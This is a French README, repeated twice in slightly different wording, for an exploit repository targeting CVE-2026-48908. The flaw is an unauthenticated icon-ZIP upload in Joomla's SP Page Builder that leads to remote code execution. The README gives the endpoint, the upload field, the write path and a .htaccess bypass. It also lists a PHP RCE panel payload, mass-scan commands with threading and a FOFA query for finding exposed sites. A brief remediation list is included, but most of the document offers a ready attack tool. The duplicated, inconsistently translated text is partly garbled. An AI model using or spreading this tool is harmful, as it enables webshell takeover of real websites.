CVE-2026-48908

---

📌 Résumé

SP Page Builder (Joomla) — Téléversement de ZIP sans authentification → RCE

Produit	SP Page Builder — com_sppagebuilder (JoomShaper)
Version	≤ 6.6.1
Corrigé	6.6.2+ — l'envoi nécessite désormais un administrateur
Auth	Non authentifié
Vecteur	POST …&task=asset.uploadCustomIcon
Champ	custom_icon (ZIP de police d'icônes)
Emplacement d'écriture	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Contournement	.PHP + fonts/.htaccess

🛡️ Correctif

1. Mettre à jour SP Page Builder 6.6.2+
2. /media/com_sppagebuilder/ → désactiver l'exécution PHP
3. AllowOverride None — bloquer .htaccess
4. WAF : limiter le débit des POST ZIP custom_icon

📦 Installation

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Fichier	Tâche
winrarzips_brand.py	Bannière CMD (by winrarzips)
sppb48908_core.py	Moteur d'exploit
CVE-2026-48908-Suite.py	CLI batch + cible unique
CVE-2026-48908.py	Wrapper cible unique
payloads/x7-panel.php	Panneau RCE
requirements.txt	Dépendances

❌ La liste des cibles, le résultat du scan et les URL du panneau ne sont pas dans le dépôt.

🎯 Objectif unique

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 En lot (dans ta propre liste)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Étiquettes de hameçonnage

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 Résumé

SP Page Builder (Joomla) — Téléversement ZIP non authentifié → RCE

Produit	SP Page Builder — com_sppagebuilder (JoomShaper)
Affecté	≤ 6.6.1
Corrigé	6.6.2+ — le téléversement nécessite un administrateur
Authentification	Non authentifié
Vecteur	POST …&task=asset.uploadCustomIcon
Champ	custom_icon (ZIP de police d'icônes)
Chemin d'écriture	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Contournement	.PHP + fonts/.htaccess

🛡️ Remédiation

1. Mettre à niveau SP Page Builder vers 6.6.2+
2. Désactiver l'exécution PHP sous /media/com_sppagebuilder/
3. AllowOverride None — bloquer l'enregistrement PHP via .htaccess
4. WAF : limiter le débit des téléversements ZIP custom_icon

📦 Installation

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Fichier	Rôle
winrarzips_brand.py	Bannière CMD (by winrarzips)
sppb48908_core.py	Cœur de l'exploit
CVE-2026-48908-Suite.py	CLI par lot + cible unique
CVE-2026-48908.py	Wrapper pour cible unique
payloads/x7-panel.php	Payload du panneau RCE
requirements.txt	Dépendances

❌ Les listes de cibles, les résultats de scan et les URL de panneaux actifs ne sont pas inclus.

🎯 Cible unique

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Lot (votre propre liste)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Tags d'erreur

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---